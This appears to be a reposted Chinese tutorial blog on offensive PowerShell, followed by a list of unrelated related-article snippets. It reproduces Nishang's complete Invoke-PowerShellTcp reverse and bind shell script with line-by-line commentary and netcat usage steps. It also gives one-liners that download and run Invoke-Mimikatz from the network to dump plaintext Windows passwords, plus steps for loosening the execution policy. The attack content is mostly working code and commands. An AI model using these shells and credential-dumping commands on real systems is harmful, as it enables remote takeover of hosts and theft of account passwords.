Powershell渗透测试系列–进阶篇

最新推荐文章于 2024-01-03 17:09:42 发布
最新推荐文章于 2024-01-03 17:09:42 发布
阅读量654 收藏 3
点赞数
文章标签： shell 网络 c/c++
原文链接：http://www.cnblogs.com/ichunqiu/p/9172882.html
版权

原文来自：https://bbs.ichunqiu.com/thread-41561-1-1.html

i春秋作家：anyedt

0×00 引言

经过基础篇的学习我们已经对powershell有了一个基本的了解，接下来我们先补充一点基础知识然后就尝试去分析nishang中的优秀代码学会如何去使用脚本最后实战 。预告一下，第三篇高级篇带你使用powershell遨游内网。

0×01 补充知识

a 命令格式

<command -name > -< Required Parameter Name > <Required Parameter Value >
命令 -名称 请求参数名 请求参数值
[ -< Optional Parameter Name > <Optional Parameter Value >] [ -< Optional Switch Parameters >] [ -< Optional Parameter Name >] <Required Parameter Value >

b 等价别名

许多命令都有别名以及使用DOS的人或Unix这些可以非常熟悉。 别名是一种简短的命令形式但是其作用是等价的。

Command Aliases (命令别名)
clear-host cls, clear
format-list fl
get-childitem gci, ls, dir
get-content gc, cat, type get-location gl, pwd get-member gm remove-item ri, rm, rmdir, del, erase, rd write-output write, echo

c 执行策略问题

Powershell脚本执行策略是默认不允许执行任何脚本，如果我们没有修改过执行策略而直接运行可能出现以下问题。

image.png

解决办法

首先查看脚本执行策略设置情况，可以通过 Get-ExecutionPolicyget-executionpolicy命令。如果显示 Restricted  即不允许执行任何脚本。使用管理员身份运行powerhsell然后执行命令：set-executionpolicy remotesigned  回车之后即可执行脚本。

image.png

0×02 分析TCP交互式PowerShell脚本

该脚本取之于nishang这个框架，Nishang是一个PowerShell攻击框架，它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。下载地址：https://github.com/samratashok/nishang。

先贴上其TCP交互式PowerShell脚本(建立一个TCP正向连接或反向连接shell )代码如下:

function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang 注释部分 #>           [CmdletBinding(DefaultParameterSetName="reverse")] Param(         [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]         [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]         [String]         $IPAddress,         [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]         [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]         [Int]         $Port,         [Parameter(ParameterSetName="reverse")]         [Switch]         $Reverse,         [Parameter(ParameterSetName="bind")]         [Switch]         $Bind     )     try     {         #Connect back if the reverse switch is used.         if ($Reverse)         {             $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)         }         #Bind to the provided port if Bind switch is used.         if ($Bind)         {             $listener = [System.Net.Sockets.TcpListener]$Port             $listener.start()                $client = $listener.AcceptTcpClient()         }         $stream = $client.GetStream()         [byte[]]$bytes = 0..65535|%{0}         #Send back current username and computername         $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")         $stream.Write($sendbytes,0,$sendbytes.Length)         #Show an interactive PowerShell prompt         $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')         $stream.Write($sendbytes,0,$sendbytes.Length)         while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)         {             $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding             $data = $EncodedText.GetString($bytes,0, $i)             try             {                 #Execute the command on the target.                 $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )             }             catch             {                 Write-Warning "Something went wrong with execution of command on the target."                 Write-Error $_             }             $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '             $x = ($error[0] | Out-String)             $error.clear()             $sendback2 = $sendback2 + $x             #Return the results             $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)             $stream.Write($sendbyte,0,$sendbyte.Length)             $stream.Flush()           }         $client.Close()         if ($listener)         {             $listener.Stop()         }     }     catch     {         Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."         Write-Error $_     } }
a 注释部分

注释部分描述了脚本的概要、用途、脚本的事例、参考链接等信息。

<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang 注释部分 #>      
b Param运行参数部分

DefaultParameterSetName=”reverse” 说明默认采用反向shell连接的方式.可选参数和强制参数必须同时使用 reverse和bind可选默认值为reverse，但是$IPAddress和$Port必须进行设置。最后根据输入的内容匹配类型获取最终值。

 [CmdletBinding(DefaultParameterSetName="reverse")] Param(
                <# DefaultParameterSetName="reverse" 说明默认采用反向shell连接的方式。    
                   可选参数和强制参数必须同时使用 reverse和bind可选默认值为reverse，但是$IPAddress和$Port必须                        进行设置。
                    $IPAddress 目标IP地址                            $Port 目标端口                 #>            [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]         [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]         [String]         $IPAddress,         [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]         [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]         [Int]         $Port,         [Parameter(ParameterSetName="reverse")]         [Switch]         $Reverse,                 <#                         根据输入的内容匹配类型                 #>            [Parameter(ParameterSetName="bind")]         [Switch]         $Bind     )
c 主函数部分
  try 
    {
        # 连接有可能出错所以这里使用个异常处理trt catch，
        # 判断是否存在对应值，如果存在建立TCP反向shell连接，本机充当客户端。
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)         }         # 判断是否存在对应值，如果存在建立TCP正向shell连接，本机充当服务端。         if ($Bind)         {             $listener = [System.Net.Sockets.TcpListener]$Port             $listener.start()                $client = $listener.AcceptTcpClient()         }                 # 构建数据流         $stream = $client.GetStream()         [byte[]]$bytes = 0..65535|%{0}         #把靶机的相关信息发送到攻击机中去         $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")         $stream.Write($sendbytes,0,$sendbytes.Length)         #交互式信息提示         $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')         $stream.Write($sendbytes,0,$sendbytes.Length)                 # 判断数据是否传输完成，不完成就传输完为止         while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)         {             $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding             $data = $EncodedText.GetString($bytes,0, $i)             try             {                 #执行命令，然后输出                 $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )             }             catch             {                     # 异常处理                 Write-Warning "Something went wrong with execution of command on the target."                 Write-Error $_             }             # 用于返回当前路径             $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '             $x = ($error[0] | Out-String)             # 清楚错误             $error.clear()             $sendback2 = $sendback2 + $x             #返回ASCII编码过后的数据             $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)             $stream.Write($sendbyte,0,$sendbyte.Length)             $stream.Flush()               # 刷新流         }         # 关闭连接         $client.Close()         if ($listener)         {             $listener.Stop()         }     }     catch     {             # 异常处理         Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."         Write-Error $_     }

0×03  脚本使用

a 导入命令模式

导入命令模式就是先导入ps1文件到powershell然后可以直接在命令行运行函数。

Import-Module ‘.\Invoke-PowerShellTcp .ps1′

image.png

反向连接

第一步 ：在攻击机上使用nc监听本地端口4444（先监听后连接，不然会出错。）

image.png

第二步：靶机运行连接命令

Invoke-PowerShellTcp -Reverse -IPAddress 攻击机ip -Port 攻击机监听的端口

image.png

第三步： 成功连接，获取shell

image.png

image.png

正向连接

第一步： 靶机开启监听

Invoke-PowerShellTcp -bind -port 4444

image.png

第二步： 攻击机nc连接靶机

nc -nv 192.168.17.132 4444

第三步：成功连接，获取到shell

image.png

image.png

 

b 非导入命令模式

该模式不需要进行导入powershell,直接运行脚本。

正向连接

第一步： 在ps1文件中加入执行监听命令

Invoke-PowerShellTcp  -bind

image.png

第二步： 运行ps1文件，设置监听端口，开启监听

.\Invoke-PowerShellTcp.ps1

image.png

第三步： 攻击机nc连接靶机，获取shell

image.png

反向连接

第一步：攻击机监听端口

nc  -lvp 8888

image.png

第二步： 在ps1文件中加入执行连接命令

Invoke-PowerShellTcp  -reverse 192.168.17.134 8888

image.png

第三步： 获取shell

image.png

0×04 Mimikatz结合Powershell 获取目标主机账号密码

实战过程中在获取低权限用户之后我们为了扩展战果我们就不得不提权，在没有0day的基础上最简单的提权方式就是直接获取目标主机的管理员账号密码。说起获取密码就不得不提提Mimikatz 这款工具了。mimikatz是由C语言编写的开源小工具，功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证，以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。

我这里讲的是Powershell结合Mimikatz的使用。实验环境为腾讯云的一台服务器window server 2008。

a  本地网络环境运行

第一步： 下载Invoke-Mimikatz.ps1

Invoke-Mimikatz.ps1下载地址
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

第二步：直接一句话运行

powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
#或者 本地搭建网络环境http://192.168.1.1/
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/');Invoke-Mimikatz -DumpCreds" 

<#

假如存在执行策略问题：

Get-ExecutionPolicy  //结果显示restricted

Set-ExecutionPolicy Unrestricted  //打开限制 Import-Module .\Invoke-Mimikatz.ps1 //导入命令 Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"' //获取密码 #>

第三步：成功获取明文密码

image.png

b  在线网络环境运行

第一步：直接执行命令

在 Windows 2008 及以上操作系统中执⾏命令

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
ontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); I
nvoke-Mimikatz -DumpCreds"

注意点:靶机必须可以正常访问raw.githubusercontent.com 网络，因为需要连接下载ps1文件。 Windows Server 2014以上版本仅能获取到NTLM值，无法正常获取明文密码。

第二步： 成功获取明文密码

image.pngimage.png

image.png

 

0×05 总结

本文重点学会分析脚本，懂得分析别人写的，然后自己写一个类似的脚本都是几分钟的事情。分析是为了去模仿好的，让自己少走弯路，超越是我们要做的。紧接着我们讲到了脚本的使用然后举了一个实战例子获取明文密码。希望大家能学会去使用powershell，然后重视它，掌握它。

 

i春秋推出优享会员制，开通会员可以免费畅享多类课程、实验、CTF赛题等付费内容，并可享有包括会员日专属福利、就业推荐等多种特权福利，更多活动详情可点击：https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~

转载于:https://www.cnblogs.com/ichunqiu/p/9172882.html

dfdhxb995397
关注
[笔记]Windows安全之《一》反弹Shell
二次元怪兽的博客
04-01 2130
powershell反弹shell常见方式 文章目录正向连接和反向连接（反弹连接）PowerShell的配置常见的反弹Shell总结 正向连接和反向连接（反弹连接） PowerShell的配置 常见的反弹Shell 总结
无法加载文件\venv\Scripts\Activate.ps1，因为在此系统上禁止运行脚本
gao_zhennan的博客
07-14 7939
运行环境Windows 10、python 3.11.1、IDE VScode当然你可能使用了其他IDE，例如pycharm等，不过没有关系解决问题的方法都是一致的。报错信息如下图所示：actvivate.ps1这个脚本文件是用来激活python虚拟环境的。其实，在该报错信息中已经给出了解决问题的答案。有关详细信息，请参阅中的about_Execution_Policies本质上，这个报错就是一个Windows系统的的问题，和Python语言本身无关。
有关PowerShell脚本执行权限的问题
wsdhla的专栏
07-09 1945
使用PowerShell执行一些命令的时候会报错，而使用cmd则正常 百度了一下，原来PowerShell中执行脚本有权限控制： Restricted不允许任何脚本运行 AllSigned只能运行经过数字证书签名的脚本 RemoteSigned运行本地的脚本不需要数字签名，但是运行从网络上下载的脚本就必须要有数字签名 Unrestricted允许所有的脚本运行 Undefined未设置任何执行权限 查看当前执行策略： Get-ExecutionPolicy # 输...
Vue开发环境搭建
YoooKnight的博客
10-14 250
安装Node环境 下载地址 http://nodejs.cn/ 根据你的系统下载对应的最新的安装包 验证node是否安装成功 # 查看node的版本 node -v Tips：我之前下载的node版本是4.4，导致我后面安装vue的时候一直报错，提示我不支持语法 4. 安装cnpm # 因为npm在安装node的时候就已经安装好了，但是国内直接使用npm 的官方镜像是非常慢的，这里推荐使用淘...
POWERSHELL脚本执行权限
weixin_30781433的博客
09-02 175
Restricted——默认的设置， 不允许任何script运行 AllSigned——只能运行经过数字证书签名的script RemoteSigned——运行本地的script不需要数字签名，但是运行从网络上下载的script就必须要有数字签名 Unrestricted——允许所有的script运行 windows默认不允许任何脚本运行，你可以使用"Set-ExecutionPo...
web安全攻防渗透测试实战指南
jhf223344的博客
04-05 9131
1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T（0-6档） 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别，-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中) --------------- 192.168.1.1/24 --exclude 19...
渗透测试中powershell基础
12-21 1224
powershell简介 Windows PowerShell是一种命令行外壳程序和脚本环境，它内置在Windows7及其以上的系统中，使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中，它可以直接在内存中运行，现在我们讨论的多数都时V2版本的powershell,因为V1的功能对我们来说把不够用，后续版本均向前兼容，所以使用v2即可。 Powershell 基础语法 变量通常以$开头，强类型，但是大小写不敏感 创建数组 $array = 1,2,3,
powershell渗透测试应该这么玩
focus on security
06-15 866
前言 Powershell 是 Microsoft Windows 命令行 shell 程序和脚本环境，它提供了令人难以置信的灵 活性和功能来管理 Windows 系统，现在 Windows 系统上基本上都有它的存在。正因为它的强大，才 能被我们所利用，帮助我们进行渗透测试。 Powershell 的优秀之处 1. 代码运行在内存中可以不去接触磁盘 2. 从另一个系统中下载代码并执行 3. 很多安全产品并不能监测到 powershell 的活动 4. cmd.exe 通常被阻止运行，但是 powershe
web安全攻防渗透测试实训笔记
m0_65385236的博客
04-07 1450
1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T（0-6档） 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别，-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中) --------------- 192.168.1.1/24 ...
我能用Windows PowerShell做什么：改变 Windows PowerShell 脚本执行策略
Anders's Blog
09-12 2297
注：本篇文章，未在联系作者以及得到许可的情况下， 禁止以任何形式进行转载。By：Anders      Mail：katrina520@163.com  改变 Windows PowerShell 脚本执行策略Set-ExecutionPolicy  cmdlet允许您确定执行哪些Windows PowerShell 脚本（假设任何脚本）将允许运行在您的电脑上。Windows Powe
npm使用的常见问题
qq_53784360的博客
07-19 151
** npm使用的常见问题 ** npm全局环境下的下载包的路径 可以在C/用户/USER里的npmrc里设置； 如果在使用的途中发现，无法加载文件，因为在此系统上禁止运行脚本 1.管理员身份打开powerShell 2.输入set-ExecutionPolicy RemoteSigned .3 选择Y 或者A ，就好了 ...
配置eventlog时，开启脚本限制，系统禁止运行脚本
Cleoprtra.L的博客
07-21 418
开启脚本限制：默认的情况下，系统会禁止运行脚本，返回下面的错误提示： 解决：需要修改该参数执行下面的命令，开启Powershell脚本功能： cd c: set-ExecutionPolicy RemoteSigned 默认为“是”，回车即可。...
Powershell学习笔记
潇洒哥的运维之道
04-24 910
查询进程的handle等于28的那条 get-process |where handles -eq 288 只获取进程名 get-process |select -Property name 查询进程id大于9000的 get-process |where id -ge 9000 获取运行中的服务 get-service |where {$_.status -eq "running"} 显...
windows 10 重新安装 默认软件
weixin_33985507的博客
03-08 571
1 管理员权限打开powershell 2 输入 Set-ExecutionPolicy Unrestricted 出现选项，输入Y 3 将下列代码粘贴输入： # Get all the provisioned packages $Packages = (get-item 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Appx\App...
渗透测试系列：Powershell渗透框架
最新发布
weixin_54626591的博客
01-03 819
Powershell渗透框架
Web安全攻防渗透测试实战指南笔记 三
Ren59421的博客
04-05 8147
第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境，本节演示的是WDLinux的一款集成的安装包。 首先，下载需要的安装包，命令如下所示。 wegt http://dl.wdlinux.cn/files/lanmp_v3.tar.gz 下载完成后进行解压，解压文件的命令为tar zxvf lanmp_v3.tar.gz，运行环境如下图所示。 输入sh lanmp.sh命令运行LANMP，这时程...
(转载)Windows PowerShell 講座 (2)—自訂工作環境
longlonglongway的专栏
08-17 802
Windows PowerShell 講座 (2)—自訂工作環境 發佈日期: 2007 年 12 月 17 日 作者：賴榮樞 　　　www.goodman-lai.idv.tw Windows PowerShell 是個相當彈性並且允許管理者自訂的環境，
Win10 cmd命令行，Powershell，Linux子系统Ubuntu bash自动启动ssh-agent
SimonLiu的博客
12-26 6630
        当从win10的cmd命令行，PowerShell，或者Ubuntu子系统访问SSH服务器或者SSH Git Server，可以使用证书登录。但是默认情况下，需要每次都输入证书密码(passphrase)，很不方便。         使用Visual Studio Code的终端，可以设置为使用以上三种Shell之一【可参考 设置Visual Studio Code的默认SHEL...
内网信息收集学习笔记
weixin_45644323的博客
10-09 277
信息收集概述: 首先对当前网络环境进行判断: 1.对当前机器角色进行判断; 2.对当前机器所处网络环境的拓扑结构进行分析和判断; 3.对机器所处环境进行判断; 收集本机信息 查询网络配置信息:ipconfig -all 查询操作系统及软件信息: 操作系统及版本信息: systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 查看系统体系结构 : echo %proc
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值